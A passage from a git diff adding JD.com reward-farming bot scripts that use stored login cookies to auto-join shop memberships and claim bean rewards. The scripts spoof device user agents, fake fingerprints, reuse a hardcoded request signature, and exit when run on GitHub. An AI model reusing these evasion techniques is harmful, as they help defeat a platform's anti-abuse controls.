RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_joyopen.js b/jd_joyopen.js new file mode 100644 index 0000000..e7a6730 --- /dev/null +++ b/jd_joyopen.js @@ -0,0 +1,543 @@ +/* +JOY通用开卡活动 + +变量:export JD_JOYOPEN="ID" 多个ID用 @ 连接 + +如遇火爆请重跑一次即可 +奖励未到账请再次运行本脚本 +日志显示已入会,才代表奖励已经领取 + +cron:2 1 * * * +============Quantumultx=============== +[task_local] +2 1 * * * jd_joyopen.js, tag=JOY通用开卡活动, enabled=true + +*/ +const $ = new Env('JOY通用开卡活动'); +const Faker=require('./sign_graphics_validate.js') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let joyopen = ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if (process.env.JD_JOYOPEN && process.env.JD_JOYOPEN != "") { + joyopen = process.env.JD_JOYOPEN.split('@'); +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +message = "" +!(async () => { + console.log('\n【如遇火爆请重跑一次即可】\n【奖励未到账请再次运行本脚本】\n【日志显示已入会,才代表奖励已经领取】') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (!joyopen) { + console.log("\n衰仔你好,衰仔你好!!!\n你不填写变量 JD_JOYOPEN,\n是不是玩我呢!\n我很生气,拒接执行o(╥﹏╥)o"); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.bean = 0 + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + for (let j = 0; j < joyopen.length; j++) { + $.configCode = joyopen[j] + console.log(`开卡ID就位: ${$.configCode},准备开始薅豆`); + await getUA() + await run(); + } + //if($.bean > 0) message += `【京东账号${$.index}】获得${$.bean}京豆\n` + } + } + //if(message){ + //$.msg($.name, ``, `${message}\n获得到的京豆不一定到账`); + //if ($.isNode()){ + //await notify.sendNotify(`${$.name}`, `${message}\n获得到的京豆不一定到账`); + //} + //} +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if(!$.fp || !$.eid){ + $.log("获取活动信息失败!") + return + } + let config = [ + {configCode:`${$.configCode}`,configName:'JOY通用开卡'}, + ] + for(let i in config){ + $.hotFlag = false + let item = config[i] + $.task = '' + $.taskList = [] + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.task == '') await getActivity(item.configCode,item.configName,0) + if($.task || $.hotFlag) break + } + if($.hotFlag) continue; + if($.task.showOrder){ + console.log(`\n[${item.configName}] ${$.task.showOrder == 0 && '日常任务' || $.task.showOrder == 1 && '开卡' || '未知活动类型'} ${($.taskInfo.rewardStatus == 2) && '全部完成' || ''}`) + if($.taskInfo.rewardStatus == 2) continue; + $.taskList = $.task.memberList || $.task.taskList || [] + $.oneTask = '' + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if($.task.showOrder == 1){ + $.errorJoinShop = ''; + if($.oneTask.cardName.indexOf('马克华') > -1) continue + console.log(`${$.oneTask.cardName} ${0 == $.oneTask.result ? "开卡得" + $.oneTask.rewardQuantity + "京豆" : 1 == $.oneTask.result ? "领取" + $.oneTask.rewardQuantity + "京豆" : 3 == $.oneTask.result ? "其他渠道入会" : "已入会"}`) + if($.oneTask.result == 0) await statistic(`{"activityType":"module_task","groupType":7,"configCode":"${item.configCode}","itemId":${$.oneTask.cardId}}`) + if($.oneTask.result == 0) await join($.oneTask.venderId) + if($.errorJoinShop.indexOf('活动太火爆,请稍后再试') > -1){ + console.log('第1次 重新开卡') + await $.wait(parseInt(Math.random() * 2000 + 3000, 10)) + await join($.oneTask.venderId) + } + if($.errorJoinShop.indexOf('活动太火爆,请稍后再试') > -1){ + console.log('第2次 重新开卡') + await $.wait(parseInt(Math.random() * 2000 + 4000, 10)) + await join($.oneTask.venderId) + } + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + if($.oneTask.result == 1 || $.oneTask.result == 0) await getReward(`{"configCode":"${item.configCode}","groupType":7,"itemId":${$.oneTask.cardId},"eid":"${$.eid}","fp":"${$.fp}"}`) + }else if($.task.showOrder == 0){ + $.cacheNum = 0 + $.doTask = false + $.outActivity = false + let name = `${1 == $.oneTask.groupType ? "关注并浏览店铺" : 2 == $.oneTask.groupType ? "加购并浏览商品" : 3 == $.oneTask.groupType ? "关注并浏览频道" : 6 == $.oneTask.groupType ? "浏览会场" : "未知"}` + let msg = `(${$.oneTask.finishCount}/${$.oneTask.taskCount})` + let status = `${$.oneTask.finishCount >= $.oneTask.taskCount && '已完成' || "去" + (1 == $.oneTask.groupType ? "关注" : 2 == $.oneTask.groupType ? "加购" : 3 == $.oneTask.groupType ? "关注" : 6 == $.oneTask.groupType ? "浏览" : "做任务")}` + console.log(`${name}${msg} ${status}`) + if($.oneTask.finishCount < $.oneTask.taskCount){ + await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTask.groupType},"itemId":"${$.oneTask.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + let c = $.oneTask.taskCount - $.oneTask.finishCount - 1 + for(n=2;c-- && !$.outActivity;n++){ + if($.outActivity) break + console.log(`第${n}次`) + await getActivity(item.configCode,item.configName,$.oneTask.groupType) + $.oneTasks = '' + let q = 3 + for(m=1;q--;m++){ + if($.oneTasks == '') await getActivity(item.configCode,item.configName,$.oneTask.groupType) + if($.oneTasks) break + } + if($.oneTasks){ + c = $.oneTasks.taskCount - $.oneTasks.finishCount + if($.oneTasks.item.itemId == $.oneTask.item.itemId){ + n--; + console.log(`数据缓存中`) + $.cacheNum++; + if($.cacheNum > 3) console.log('请重新执行脚本,数据缓存问题'); + if($.cacheNum > 3) break; + await getUA() + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + await getHtml(); + }else{ + $.cacheNum = 0 + } + if($.oneTasks.item.itemId != $.oneTask.item.itemId && $.oneTasks.finishCount < $.oneTasks.taskCount) await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTasks.groupType},"itemId":"${$.oneTasks.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + }else{ + n--; + } + } + } + }else{ + console.log('未知活动类型') + } + } + if($.task.showOrder == 0){ + if($.doTask){ + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.taskInfo == '') await getActivity(item.configCode,item.configName,-1) + if($.taskInfo) break + } + } + if($.taskInfo.rewardStatus == 1) await getReward(`{"configCode":"${item.configCode}","groupType":5,"itemId":1,"eid":"${$.eid}","fp":"${$.fp}"}`,1) + } + } + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + } + + } catch (e) { + console.log(e) + } +} +function getActivity(code,name,flag) { + return new Promise(async resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${code}&eid=${$.eid}&fp=${$.fp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type':'application/json;charset=utf-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true && res.data.pass == true){ + if(flag == 0){ + $.task = res.data.memberTask || res.data.dailyTask || [] + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || [] + }else if(flag == -1){ + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || {} + }else if(flag == 1 || flag == 2){ + for(let i of res.data.dailyTask.taskList){ + if(i.groupType == flag){ + $.oneTasks = i + break + } + } + }else{ + console.log('活动-未知类型') + } + }else if(res.data.pass == false){ + console.log(`活动[${name}]活动太火爆了,请稍后再试~`) + $.hotFlag = true + }else{ + console.log(`活动[${name}]获取失败\n${data}`) + if(flag > 0) await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doTask(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/doTask`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + $.doTask = true + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${$.oneTask.rewardQuantity}京豆`) + $.bean += Number($.oneTask.rewardQuantity) + }else if(res.errorMessage){ + if(res.errorMessage.indexOf('活动已结束') > -1) $.outActivity = true + console.log(`${res.errorMessage}`) + }else{ + console.log(data) + } + } + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getReward(body, flag = 0) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/getReward`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${flag == 1 && $.taskInfo.rewardFinish || $.oneTask.rewardQuantity}京豆`) + $.bean += Number($.oneTask.rewardQuantity) + }else{ + console.log(`${res.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function statistic(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/data/statistic`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + $.errorJoinShop = '' + await $.wait(1000) + await getshopactivityId() + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + let body = `{"venderId":"${venderId}","shopId":"${venderId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}` + let h5st = '20220412164634306%3Bf5299392a200d6d9ffced997e5790dcc%3B169f1%3Btk02wc0f91c8a18nvWVMGrQO1iFlpQre2Sh2mGtNro1l0UpZqGLRbHiyqfaUQaPy64WT7uz7E%2FgujGAB50kyO7hwByWK%3B77c8a05e6a66faeed00e4e280ad8c40fab60723b5b561230380eb407e19354f7%3B3.0%3B1649753194306' + const options = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${body}&clientVersion=9.2.0&client=H5&uuid=88888&h5st=${h5st}`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + $.get(options, async (err, resp, data) => { + try { + // console.log(data) + let res = $.toObj(data,data); + if(typeof res == 'object'){ + if(res.success === true){ + console.log(res.message) + $.errorJoinShop = res.message + if(res.result && res.result.giftInfo){ + for(let i of res.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(typeof res == 'object' && res.message){ + $.errorJoinShop = res.message + console.log(`${res.message || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getshopactivityId() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${$.joinVenderId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + $.get(options, async (err, resp, data) => { + try { + let res = $.toObj(data); + if(res.success == true){ + // console.log($.toStr(res.result)) + console.log(`入会:${res.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = res.result.interestsRuleList && res.result.interestsRuleList[0] && res.result.interestsRuleList[0].interestsInfo && res.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function getHtml() { + return new Promise(resolve => { + $.get({ + url: `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + headers: { + "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + let arr = await Faker.getBody($.UA,'https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html') + $.fp = arr.fp + await getEid(arr) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_jr_draw.js b/jd_jr_draw.js new file mode 100644 index 0000000..901e9c9 --- /dev/null +++ b/jd_jr_draw.js @@ -0,0 +1,219 @@ +/* +京东金融 每周领取权益活动 +活动入口:京东金融APP首页-会员中心-生活特权 +目前已知领取一次 ,其他的未知。 +by:小手冰凉 tg:@chianPLA +交流群:https://t.me/jdPLA2 +脚本更新时间:2021-12-6 14:20 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +新手写脚本,难免有bug,能用且用。 +============Node=============== +[task_local] +#每周领取权益活动 +10 17 6 12 * jd jd_draw.js, tag=每周领取权益活动, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_jr_draw.png, enabled=true + +*/ + +const $ = new Env('京东金融每周领取权益活动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + console.log("目前已知领取一次 ,其他的未知。"); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await queryNewRightsDetail(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + 